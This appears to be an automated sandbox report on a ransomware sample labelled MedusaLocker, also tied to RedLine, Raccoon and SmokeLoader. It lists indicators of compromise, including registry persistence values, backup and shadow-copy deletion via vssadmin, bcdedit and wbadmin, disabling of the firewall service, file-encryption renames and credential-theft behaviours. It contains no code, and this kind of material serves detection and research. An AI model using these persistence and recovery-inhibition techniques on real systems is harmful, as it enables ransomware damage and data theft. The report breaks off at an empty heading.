medusalocker | b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a

Processes:

DriverRealtekHDmaster.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\", \"C:\\Windows\\appcompat\\Programs\\cmd.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\", \"C:\\Windows\\appcompat\\Programs\\cmd.exe\", \"C:\\Windows\\SysWOW64\\bootcfg\\WerFault.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\", \"C:\\Windows\\appcompat\\Programs\\cmd.exe\", \"C:\\Windows\\SysWOW64\\bootcfg\\WerFault.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Temp\\BroadcastMsg_1630502358\\7A7C.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\", \"C:\\Windows\\appcompat\\Programs\\cmd.exe\", \"C:\\Windows\\SysWOW64\\bootcfg\\WerFault.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Temp\\BroadcastMsg_1630502358\\7A7C.exe\", \"C:\\PerfLogs\\DriverRealtekHDmaster.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\", \"C:\\Windows\\appcompat\\Programs\\cmd.exe\", \"C:\\Windows\\SysWOW64\\bootcfg\\WerFault.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Temp\\BroadcastMsg_1630502358\\7A7C.exe\", \"C:\\PerfLogs\\DriverRealtekHDmaster.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Temp\\sa.9NBLGGH1ZRPV_0_0010_.Public.InstallAgent\\857B.exe\""	DriverRealtekHDmaster.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Modify Existing Service

T1031

Processes:

powershell.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4"	powershell.exe

Process spawned unexpected child process 6 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1452	2348	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3424	2348	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3348	2348	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3408	2348	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1588	2348	schtasks.exe	18
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1940	2348	schtasks.exe	18

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1804-187-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral1/memory/1804-188-0x000000000041C5CE-mapping.dmp	family_redline
behavioral1/memory/2180-195-0x000000000041C5F6-mapping.dmp	family_redline
behavioral1/memory/2180-193-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral1/memory/1804-214-0x0000000005160000-0x0000000005766000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

svchost.exe

description	pid	Process	procid_target
PID 4176 created 1656	4176	svchost.exe	153
PID 4176 created 4204	4176	svchost.exe	156

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

Processes:

bcdedit.exebcdedit.exe

pid	Process
3720	bcdedit.exe
4004	bcdedit.exe

Deletes System State backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

Processes:

wbadmin.exewbadmin.exe

pid	Process
2308	wbadmin.exe
3996	wbadmin.exe

Downloads MZ/PE file

Drops file in Drivers directory 12 IoCs

Processes:

73D4.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\networks	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\protocol	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\protocol.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\protocol.udacha	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts.udacha	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\networks.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\networks.udacha	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\services	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\services.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\drivers\etc\services.udacha	73D4.exe

Executes dropped EXE 64 IoCs

Processes:

6750.exe73D4.exe7A7C.exe7FBD.exe857B.exeZZZZZ.exeDriverRealtekHDmaster.exeDriverMaster.exe7A7C.exe7FBD.exe857B.exeOfficeClickToRun.exeEngineDriverMaster.exesihost32.exeZena.exeUpSys.exeUpSys.exeUpSys.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exeMoneylogs1.exe

pid	Process
3384	6750.exe
688	73D4.exe
760	7A7C.exe
2616	7FBD.exe
1912	857B.exe
3480	ZZZZZ.exe
1648	DriverRealtekHDmaster.exe
1608	DriverMaster.exe
1804	7A7C.exe
2180	7FBD.exe
936	857B.exe
3408	OfficeClickToRun.exe
768	EngineDriverMaster.exe
2724	sihost32.exe
256	Zena.exe
1656	UpSys.exe
4204	UpSys.exe
4320	UpSys.exe
4440	Moneylogs1.exe
4636	Moneylogs1.exe
4788	Moneylogs1.exe
4840	Moneylogs1.exe
4872	Moneylogs1.exe
4916	Moneylogs1.exe
4956	Moneylogs1.exe
4984	Moneylogs1.exe
5096	Moneylogs1.exe
4232	Moneylogs1.exe
4328	Moneylogs1.exe
4156	Moneylogs1.exe
4336	Moneylogs1.exe
4440	Moneylogs1.exe
4524	Moneylogs1.exe
4592	Moneylogs1.exe
4612	Moneylogs1.exe
3568	Moneylogs1.exe
3252	Moneylogs1.exe
3828	Moneylogs1.exe
4652	Moneylogs1.exe
4712	Moneylogs1.exe
4780	Moneylogs1.exe
4848	Moneylogs1.exe
4552	Moneylogs1.exe
4892	Moneylogs1.exe
4648	Moneylogs1.exe
4936	Moneylogs1.exe
268	Moneylogs1.exe
3392	Moneylogs1.exe
4972	Moneylogs1.exe
4992	Moneylogs1.exe
4984	Moneylogs1.exe
760	Moneylogs1.exe
5056	Moneylogs1.exe
5080	Moneylogs1.exe
968	Moneylogs1.exe
1172	Moneylogs1.exe
5100	Moneylogs1.exe
2516	Moneylogs1.exe
1864	Moneylogs1.exe
2008	Moneylogs1.exe
4284	Moneylogs1.exe
4172	Moneylogs1.exe
4340	Moneylogs1.exe
4344	Moneylogs1.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 37 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

73D4.exe

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\RedoFormat.raw.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\StopDisconnect.tif.inprocess => C:\Users\Admin\Pictures\StopDisconnect.tif.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\StopDisconnect.tif.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\SuspendUpdate.crw.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\RedoFormat.raw => C:\Users\Admin\Pictures\RedoFormat.raw.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\SelectRedo.crw.inprocess => C:\Users\Admin\Pictures\SelectRedo.crw.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\SuspendUpdate.crw.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\UninstallReceive.crw.inprocess => C:\Users\Admin\Pictures\UninstallReceive.crw.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\ExportConfirm.crw => C:\Users\Admin\Pictures\ExportConfirm.crw.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\InstallInitialize.tiff	73D4.exe
File renamed	C:\Users\Admin\Pictures\RedoFormat.raw.inprocess => C:\Users\Admin\Pictures\RedoFormat.raw.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\ResizeTrace.tif => C:\Users\Admin\Pictures\ResizeTrace.tif.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeTrace.tif.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\StopDisconnect.tif => C:\Users\Admin\Pictures\StopDisconnect.tif.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\ExportConfirm.crw.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\InstallInitialize.tiff => C:\Users\Admin\Pictures\InstallInitialize.tiff.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\InstallInitialize.tiff.inprocess => C:\Users\Admin\Pictures\InstallInitialize.tiff.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\RedoFormat.raw.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\UninstallReceive.crw.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\BackupSync.png.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\ExportConfirm.crw.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\ResizeTrace.tif.inprocess => C:\Users\Admin\Pictures\ResizeTrace.tif.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeTrace.tif.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\SelectRedo.crw.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\SuspendUpdate.crw => C:\Users\Admin\Pictures\SuspendUpdate.crw.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\BackupSync.png.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\BackupSync.png.inprocess => C:\Users\Admin\Pictures\BackupSync.png.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\ExportConfirm.crw.inprocess => C:\Users\Admin\Pictures\ExportConfirm.crw.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\InstallInitialize.tiff.udacha	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\SelectRedo.crw.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\BackupSync.png => C:\Users\Admin\Pictures\BackupSync.png.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\SuspendUpdate.crw.inprocess => C:\Users\Admin\Pictures\SuspendUpdate.crw.udacha	73D4.exe
File renamed	C:\Users\Admin\Pictures\UninstallReceive.crw => C:\Users\Admin\Pictures\UninstallReceive.crw.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\InstallInitialize.tiff.inprocess	73D4.exe
File renamed	C:\Users\Admin\Pictures\SelectRedo.crw => C:\Users\Admin\Pictures\SelectRedo.crw.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\StopDisconnect.tif.inprocess	73D4.exe
File opened for modification	C:\Users\Admin\Pictures\UninstallReceive.crw.udacha	73D4.exe

Deletes itself 1 IoCs

Processes:

pid	Process
3064

Drops startup file 1 IoCs

Processes:

Zena.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk	Zena.exe

Loads dropped DLL 5 IoCs

Processes:

6750.exe

pid	Process
3384	6750.exe
3384	6750.exe
3384	6750.exe
3384	6750.exe
3384	6750.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

DriverRealtekHDmaster.exe73D4.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WerFault = "\"C:\\Windows\\SysWOW64\\bootcfg\\WerFault.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\7A7C = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\BroadcastMsg_1630502358\\7A7C.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\DriverRealtekHDmaster = "\"C:\\PerfLogs\\DriverRealtekHDmaster.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\857B = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sa.9NBLGGH1ZRPV_0_0010_.Public.InstallAgent\\857B.exe\""	DriverRealtekHDmaster.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run	73D4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Windows\\appcompat\\Programs\\cmd.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Windows\\appcompat\\Programs\\cmd.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\857B = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sa.9NBLGGH1ZRPV_0_0010_.Public.InstallAgent\\857B.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSFEEditor = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\73D4.exe\" e"	73D4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer\\OfficeClickToRun.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WerFault = "\"C:\\Windows\\SysWOW64\\bootcfg\\WerFault.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7A7C = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\BroadcastMsg_1630502358\\7A7C.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverRealtekHDmaster = "\"C:\\PerfLogs\\DriverRealtekHDmaster.exe\""	DriverRealtekHDmaster.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 1 IoCs

Processes:

73D4.exe

description	ioc	Process
File opened for modification	\??\E:\$RECYCLE.BIN\S-1-5-21-2559286294-2439613352-4032193287-1000\desktop.ini	73D4.exe

Enumerates connected drives 3 TTPs 42 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exe73D4.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	Process
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\B:	73D4.exe
File opened (read-only)	\??\H:	73D4.exe
File opened (read-only)	\??\D:	73D4.exe
File opened (read-only)	\??\E:
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	73D4.exe
File opened (read-only)	\??\X:	73D4.exe
File opened (read-only)	\??\Z:	73D4.exe
File opened (read-only)	\??\I:	73D4.exe
File opened (read-only)	\??\R:	73D4.exe
File opened (read-only)	\??\Y:	73D4.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\Q:	73D4.exe
File opened (read-only)	\??\S:	73D4.exe
File opened (read-only)	\??\U:	73D4.exe
File opened (read-only)	\??\L:	73D4.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\O:	73D4.exe
File opened (read-only)	\??\T:	73D4.exe
File opened (read-only)	\??\W:	73D4.exe
File opened (read-only)	\??\E:	73D4.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	73D4.exe
File opened (read-only)	\??\A:	73D4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\K:	73D4.exe
File opened (read-only)	\??\N:	73D4.exe
File opened (read-only)	\??\V:	73D4.exe
File opened (read-only)	\??\J:	73D4.exe
File opened (read-only)	\??\P:	73D4.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\f:	vssadmin.exe
File opened (read-only)	\??\F:	73D4.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
31	ip-api.com

Drops file in System32 directory 64 IoCs

Processes:

73D4.exeDriverRealtekHDmaster.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\config\ELAM.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\7A7C	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83.udacha	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53	73D4.exe
File opened for modification	C:\Windows\System32\config\ELAM	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\cmd.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\EngineDriverMaster	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\WerFault.udacha	73D4.exe
File opened for modification	C:\Windows\SysWOW64\bootcfg\ee201eac4591f0b16735de891f3d31be299085b8.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\VSMIDK	73D4.exe
File opened for modification	C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\3b1c1aac-8036-47b8-8d49-c9b01d12ee44	73D4.exe
File opened for modification	C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\3b1c1aac-8036-47b8-8d49-c9b01d12ee44.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\WerFault	73D4.exe
File opened for modification	C:\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb	73D4.exe
File opened for modification	C:\Windows\System32\Microsoft\Protect\S-1-5-18\8412004d-d29c-48b6-8b15-47fc539ac2f4	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\SECURITY	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53.udacha	73D4.exe
File opened for modification	C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\3b1c1aac-8036-47b8-8d49-c9b01d12ee44.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	73D4.exe
File opened for modification	C:\Windows\System32\config\BBI	73D4.exe
File opened for modification	C:\Windows\System32\config\SAM	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\7A7C.udacha	73D4.exe
File opened for modification	C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\RegBack\DEFAULT	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\BCD-Template.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\VSMIDK.udacha	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\857B.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	73D4.exe
File opened for modification	C:\Windows\System32\config\DRIVERS	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\857B	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157.udacha	73D4.exe
File created	C:\Windows\SysWOW64\bootcfg\WerFault.exe	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	73D4.exe
File opened for modification	C:\Windows\System32\Microsoft\Protect\S-1-5-18\Preferred	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749.inprocess	73D4.exe
File created	C:\Windows\SysWOW64\bootcfg\ee201eac4591f0b16735de891f3d31be299085b8	DriverRealtekHDmaster.exe
File opened for modification	C:\Windows\System32\ResPriHMImageList	73D4.exe
File opened for modification	C:\Windows\System32\config\DRIVERS.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\ELAM.udacha	73D4.exe
File opened for modification	C:\Windows\System32\Tasks\DriverRealtekHDmaster	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\AppContainerUserCertRead	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749.udacha	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157.inprocess	73D4.exe
File opened for modification	C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9C237ECACBCB4101A3BE740DF0E53F83.inprocess	73D4.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

Processes:

